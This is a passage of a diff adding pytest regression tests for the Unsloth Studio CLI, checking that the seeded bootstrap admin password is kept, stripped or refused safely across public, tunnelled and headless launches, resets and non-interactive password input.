+    # The seeded file survives: the frontend check failed BEFORE the gate stripped it.
+    assert bootstrap_file.exists()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    # The gate never ran (no prompt, no strip, no exec).
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_studio_default_bad_frontend_path_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (item B / reviewer finding): a user-supplied --frontend that does
+    # not contain index.html must NOT bypass the servable-UI guard. Otherwise the
+    # headless gate strips .bootstrap_password and the child serves no login page
+    # -> lockout. Validate the path BEFORE the gate and abort without stripping.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    # Auto-resolution would find a dist, but the user forced an empty one (no
+    # index.html): the guard must reject it rather than trust it.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
+    empty_dir = tmp_path / "empty_frontend"
+    empty_dir.mkdir()
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(
+        app, ["--secure", "--frontend", str(empty_dir)], catch_exceptions = True
+    )
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "index.html" in combined.lower()
+
+
+def test_studio_default_missing_frontend_loopback_cloudflare_still_launches(monkeypatch, tmp_path):
+    # The dist guard is scoped to public exposure only. A loopback --cloudflare
+    # (default host) does not tunnel, so a missing dist must NOT abort it -- the
+    # launch proceeds exactly as before.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    monkeypatch.setattr(studio_mod, "_ensure_studio_env_exported", lambda: None)
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        events.append(("exec", list(argv)))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--cloudflare"], catch_exceptions = True)
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], (events, result.output)
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend not built" not in combined.lower()
+
+
+def test_studio_default_in_venv_broken_backend_exits_before_stripping_bootstrap(
+    monkeypatch, tmp_path
+):
+    # Regression (item B / reviewer finding): the in-venv (in-process) path skips
+    # the re-exec launcher check, so a headless public launch would seed + strip
+    # the seeded .bootstrap_password in the gate before _load_run_module() later
+    # fails on a broken/partial venv -> lockout. Validate the backend is
+    # importable BEFORE the strip and abort without stripping.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    # Pretend we are already inside the studio venv, with a broken backend.
+    monkeypatch.setattr(sys, "prefix", str(tmp_path / "unsloth_studio"))
+
+    def _boom():
+        raise ImportError("cannot import backend run.py")
+
+    monkeypatch.setattr(studio_mod, "_load_run_module", _boom)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events  # gate never stripped/prompted
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "backend could not be loaded" in combined.lower()
+
+
+def test_studio_default_in_venv_missing_frontend_exits_before_stripping_bootstrap(
+    monkeypatch, tmp_path
+):
+    # Regression (Codex): the in-venv (in-process) path validated the backend but
+    # not the frontend, so a headless public launch would strip the seeded
+    # password in the gate before run_server() aborted on a missing dist. Validate
+    # the servable frontend BEFORE the strip, same as the re-exec path.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", str(tmp_path / "unsloth_studio"))  # in-venv
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)  # no built dist
+    monkeypatch.setattr(studio_mod, "_load_run_module", lambda: None)  # backend fine
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_studio_default_secure_tunnel_unavailable_preserves_bootstrap(monkeypatch, tmp_path):
+    # Regression (Codex): a headless --secure launch strips the only plaintext
+    # recovery credential before the child proves the tunnel can start. If
+    # cloudflared is provably unavailable no public URL comes up (loopback bind),
+    # so the strip must be skipped and the launch refused, preserving recovery.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_studio_default_reexec(monkeypatch, events)
+    # cloudflared cannot be found or downloaded -> the --secure tunnel is dead.
+    monkeypatch.setattr(studio_mod, "_tunnel_binary_confirmed_unavailable", lambda: True)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # preserved for recovery, NOT stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert "exec" not in [k for k, _ in events], events  # never re-exec'd
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "cloudflared" in combined.lower()
+
+
+def test_studio_default_wildcard_cloudflare_strips_even_if_tunnel_unavailable(
+    monkeypatch, tmp_path
+):
+    # The unavailable-tunnel skip is --secure-only: a wildcard --cloudflare binds
+    # 0.0.0.0 publicly regardless of the tunnel, so the seeded password must still
+    # be stripped even when cloudflared is unavailable.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_studio_default_reexec(monkeypatch, events)
+    monkeypatch.setattr(studio_mod, "_tunnel_binary_confirmed_unavailable", lambda: True)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["-H", "0.0.0.0", "--cloudflare"], catch_exceptions = True)
+
+    # Still strips (raw public bind) and re-execs.
+    assert not bootstrap_file.exists(), result.output
+    assert "exec" in [k for k, _ in events], events
+
+
+def test_tunnel_probe_adds_backend_to_syspath(monkeypatch, tmp_path):
+    # Regression (Codex 3572165922): ensure_cloudflared -> _cache_path lazily
+    # imports utils.paths.storage_roots, which only resolves when studio/backend is
+    # on sys.path. From the outer CLI it is not, so the probe must add it or it
+    # false-reports "unavailable" and wrongly refuses --secure. Model that with a
+    # cloudflare_tunnel whose ensure_cloudflared resolves ONLY when backend is on
+    # sys.path.
+    studio_mod = _studio()
+    backend = tmp_path / "backend"
+    backend.mkdir()
+    (backend / "cloudflare_tunnel.py").write_text(
+        "import sys\n"
+        f"_BACKEND = {str(backend)!r}\n"
+        "def ensure_cloudflared():\n"
+        "    # Resolvable (cached) ONLY when the backend dir is importable.\n"
+        "    return '/fake/cloudflared' if _BACKEND in sys.path else None\n"
+    )
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: backend / "run.py")
+    assert str(backend) not in sys.path  # precondition
+
+    result = studio_mod._tunnel_binary_confirmed_unavailable()
+
+    # ensure_cloudflared resolved (backend was on sys.path) -> available -> not
+    # "confirmed unavailable"; without the fix it would false-report True.
+    assert result is False
+    # The probe cleans up the sys.path entry it added.
+    assert str(backend) not in sys.path
+
+
+def test_studio_default_query_failure_strips_bootstrap_file(monkeypatch, tmp_path):
+    # The DB opens and the admin is seeded + committed (so .bootstrap_password is
+    # on disk), but reading must_change_password back fails. Returning here would
+    # re-exec with the freshly seeded credential still on disk; strip it first.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    real_connect = studio_mod._connect_auth_db
+    monkeypatch.setattr(studio_mod, "_connect_auth_db", lambda: _FailingSelectConn(real_connect()))
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert not bootstrap_file.exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "removing the seeded bootstrap password" in combined.lower()
+
+
+def test_studio_default_loopback_cloudflare_never_prompts(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--cloudflare"])
+
+    kinds = [kind for kind, _ in events]
+    assert "prompt" not in kinds, events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "bootstrap password" not in combined
+
+
+def test_studio_default_changed_password_never_prompts(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod, must_change = False)
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+
+
+def test_studio_default_refusal_aborts_launch(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(
+        monkeypatch, tmp_path, interactive = True, scripted = KeyboardInterrupt()
+    )
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert result.exit_code == 1, result.output
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_wildcard_cloudflare_prompts(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    _invoke_studio_default(monkeypatch, events, ["-H", "0.0.0.0", "--cloudflare"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["prompt", "exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+
+
+# ── `unsloth studio run` ─────────────────────────────────────────────
+
+
+def test_run_secure_prompts_and_updates_before_reexec(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["prompt", "exec"], events
+
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert after["n_refresh"] == 0
+
+
+def test_run_non_tty_warns_and_proceeds(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+
+    result = _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "bootstrap password" in combined
+
+
+def test_run_non_tty_deletes_bootstrap_password_file(monkeypatch, tmp_path):
+    # Same mixed-version safety for the `unsloth studio run` re-exec path (which
+    # cannot fail-close an old child via a CLI flag): the seeded credential file
+    # is deleted before re-exec, the launch still proceeds, and the DB flag holds.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    assert not bootstrap_file.exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_run_missing_frontend_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (item B / reviewer finding 4): `unsloth studio run` serves the
+    # same Unsloth UI and strips the seeded password on a headless public launch,
+    # so a missing frontend dist must abort BEFORE the strip -- the same lockout
+    # guard as `unsloth studio`, not just `studio run`'s model-load residual.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_run_reexec(monkeypatch, events)
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)  # no built dist
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    result = CliRunner().invoke(app, _BASE + ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events  # no strip, no exec
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_run_in_venv_missing_frontend_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (Codex 3571888563): the in-venv `studio run` path validated only
+    # the backend, so a headless public launch would strip the seeded password
+    # before run_server() aborted on a missing dist. Validate the frontend first.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", str(tmp_path / "unsloth_studio"))  # in-venv
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)  # no built dist
+    monkeypatch.setattr(studio_mod, "_load_run_module", lambda: None)  # backend fine
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    result = CliRunner().invoke(app, _BASE + ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_run_reexec_forwards_resolved_frontend_on_public_launch(monkeypatch, tmp_path):
+    # Regression (Codex 3571888570): the run re-exec discarded the dist resolved
+    # by the pre-strip check and only forwarded a user-supplied --frontend. On a
+    # public launch it must forward the resolved dist so a shadowed child that
+    # cannot self-resolve one still serves it (no post-strip lockout).
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod, must_change = False)  # gate is a no-op -> straight to re-exec
+
+    # _install_run_reexec resolves _find_frontend_dist -> /fake/studio/frontend/dist.
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])  # no user --frontend
+
+    exec_argv = [argv for kind, argv in events if kind == "exec"][0]
+    assert "--frontend" in exec_argv, exec_argv
+    assert exec_argv[exec_argv.index("--frontend") + 1] == "/fake/studio/frontend/dist", exec_argv
+
+
+def test_run_non_tty_persists_seeded_admin_on_fresh_home(monkeypatch, tmp_path):
+    # Fresh STUDIO_HOME on the `run` re-exec path: the seeded admin must be
+    # committed before re-exec so an old console-script child does not regenerate
+    # and inject a fresh bootstrap credential.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    state = _auth_state(studio_mod)
+    assert state["must_change_password"] == 1
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+
+
+def test_run_non_tty_api_only_fails_closed(monkeypatch, tmp_path):
+    # api-only serving never arms the bootstrap shutdown deadline, so a
+    # headless public launch with the default password has no safeguard at
+    # all: the CLI must refuse rather than promise a shutdown that never comes.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+
+    result = _invoke_run(monkeypatch, events, _BASE + ["--secure", "--api-only"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_non_tty_disabled_deadline_fails_closed(monkeypatch, tmp_path):
+    # UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0 disables the deadline; headless +
+    # default password + public tunnel then has no protection -> refuse.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    monkeypatch.setenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", "0")
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+
+
+@pytest.mark.parametrize(
+    "raw,expected",
+    [
+        (None, True),  # unset -> default 1h
+        ("", True),
+        ("garbage", True),  # malformed must not remove protection
+        ("3600", True),
+        ("1", True),
+        ("0", False),
+        ("-5", False),
+    ],
+)
+def test_bootstrap_deadline_active_mirrors_backend_parsing(monkeypatch, raw, expected):
+    studio_mod = _studio()
+    if raw is None:
+        monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    else:
+        monkeypatch.setenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raw)
+    assert studio_mod._bootstrap_deadline_active() is expected
+
+
+def test_reset_password_truncates_locked_bootstrap_after_db_delete(monkeypatch, tmp_path):
+    # reset-password deletes auth.db first, then invalidates the seeded credential
+    # files. A locked/undeletable .bootstrap_password must be truncated so its
+    # stale plaintext cannot be re-seeded (generate_bootstrap_password reuses a
+    # non-empty file), while the reset still succeeds.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    auth_dir = tmp_path / "auth"
+    bootstrap_file = auth_dir / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    db_file = auth_dir / "auth.db"
+    assert bootstrap_file.exists() and db_file.exists()
+    assert bootstrap_file.read_text().strip()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command()(studio_mod.reset_password)
+    result = CliRunner().invoke(app, [], catch_exceptions = True)
+
+    assert result.exit_code == 0, result.output
+    assert not db_file.exists()
+    # The locked file survives, but truncated -- no reusable plaintext.
+    assert bootstrap_file.exists()
+    assert bootstrap_file.read_text() == ""
+
+
+def test_cli_update_password_truncates_locked_bootstrap_after_change(monkeypatch, tmp_path):
+    # After a CLI/interactive password change the seeded .bootstrap_password is
+    # deleted. If it cannot be unlinked but is still writable (locked file /
+    # read-only dir), it must be TRUNCATED so its stale plaintext cannot be
+    # re-seeded by generate_bootstrap_password() after a later reset-password
+    # deletes auth.db. The change is already committed, so it must NOT roll back.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.read_text().strip()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    conn = studio_mod._connect_auth_db()
+    studio_mod._cli_update_password(conn, studio_mod.DEFAULT_ADMIN_USERNAME, "fresh-new-pw-123")
+    conn.close()
+
+    # The change committed (must_change cleared) AND the locked file is truncated.
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+    assert bootstrap_file.exists()
+    assert bootstrap_file.read_text() == ""
+
+
+def test_reset_password_fails_closed_when_db_cannot_be_deleted(monkeypatch, tmp_path):
+    # If auth.db cannot be removed (running Unsloth / Windows lock, read-only dir),
+    # reset must abort BEFORE touching the credential files -- deleting them while
+    # an un-resettable must_change_password=1 DB survives would lock a
+    # forgotten-password reset out with no recovery credential.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    auth_dir = tmp_path / "auth"
+    bootstrap_file = auth_dir / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    db_file = auth_dir / "auth.db"
+    assert bootstrap_file.exists() and db_file.exists()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == "auth.db":
+            raise OSError("database is locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command()(studio_mod.reset_password)
+    result = CliRunner().invoke(app, [], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    # DB still there; credential files untouched (no lockout, no half-done reset).
+    assert db_file.exists()
+    assert bootstrap_file.exists()
+    assert bootstrap_file.read_text().strip()
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "could not delete the auth database" in combined.lower()
+
+
+def test_reset_password_fails_closed_when_credential_cannot_be_invalidated(monkeypatch, tmp_path):
+    # If a seeded credential file can be neither unlinked nor truncated, reset must
+    # fail closed: auth.db is already gone, so a surviving plaintext would be
+    # re-seeded and re-validate the revoked password.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    auth_dir = tmp_path / "auth"
+    bootstrap_file = auth_dir / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    db_file = auth_dir / "auth.db"
+    assert bootstrap_file.exists() and db_file.exists()
+
+    _real_unlink = pathlib.Path.unlink
+    _real_write_text = pathlib.Path.write_text
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    def _boom_write_text(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("read-only")
+        return _real_write_text(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+    monkeypatch.setattr(pathlib.Path, "write_text", _boom_write_text)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command()(studio_mod.reset_password)
+    result = CliRunner().invoke(app, [], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    # auth.db was deleted first; the un-invalidatable file is reported for manual removal.
+    assert not db_file.exists()
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "delete it manually" in combined.lower()
+
+
+def test_connect_auth_db_creates_private_files(monkeypatch, tmp_path):
+    # Fresh install: the CLI gate writes the password hash + JWT secret before
+    # the backend ever runs, so this path must apply the same 0700/0600 modes
+    # as backend storage.get_connection (sqlite3.connect creates 0644 files
+    # under a 022 umask).
+    import os as _os
+    import stat
+
+    if _os.name == "nt":
+        pytest.skip("POSIX permission bits")
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    conn = studio_mod._connect_auth_db()
+    conn.close()
+    auth_dir = tmp_path / "auth"
+    assert stat.S_IMODE(auth_dir.stat().st_mode) == 0o700
+    assert stat.S_IMODE((auth_dir / "auth.db").stat().st_mode) == 0o600
+
+
+# ── non-interactive --password / UNSLOTH_STUDIO_PASSWORD / stdin ──────
+
+
+def _exec_argv(events):
+    return next(argv for kind, argv in events if kind == "exec")
+
+
+def test_studio_default_password_sets_initial_no_prompt_no_forward(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_studio_default(monkeypatch, events, ["--secure", "--password", "cli-supplied-pw12"])
+
+    # No interactive prompt: --password applied in the parent, so the gate no-ops.
+    assert [kind for kind, _ in events] == ["exec"], events
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert after["jwt_secret"] != before["jwt_secret"]
+    assert after["n_refresh"] == 0
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    # The secret never crosses to the child argv.
+    assert "--password" not in _exec_argv(events)
+
+
+def test_studio_default_password_via_env_strips_child_env(monkeypatch, tmp_path):
+    import os
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    monkeypatch.setenv("UNSLOTH_STUDIO_PASSWORD", "env-supplied-pw12")
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+    # Env var stripped so a re-exec'd child cannot re-read it.
+    assert "UNSLOTH_STUDIO_PASSWORD" not in os.environ
+
+
+def test_studio_default_password_via_stdin(monkeypatch, tmp_path):
+    # `--password -` reads one line from stdin. CliRunner owns stdin during
+    # invoke, so feed it via input= rather than patching sys.stdin.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    _install_studio_default_reexec(monkeypatch, events)
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    CliRunner().invoke(
+        app,
+        ["--secure", "--password", "-"],
+        input = "stdin-supplied-pw12\n",
+        catch_exceptions = True,
+    )
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+
+
+def test_studio_default_password_too_short_fails_closed(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure", "--password", "short"])
+
+    assert result.exit_code == 1
+    assert [kind for kind, _ in events] == []  # never reached the gate / re-exec
+    assert _auth_state(studio_mod)["must_change_password"] == 1  # unchanged
+
+
+def test_studio_default_password_must_differ_fails_closed(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_pw = (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).read_text()
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure", "--password", bootstrap_pw])
+
+    assert result.exit_code == 1
+    assert _auth_state(studio_mod)["must_change_password"] == 1  # unchanged
+
+
+def test_studio_default_password_already_set_fails_closed(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod, must_change = False)  # a password is already set
+
+    result = _invoke_studio_default(
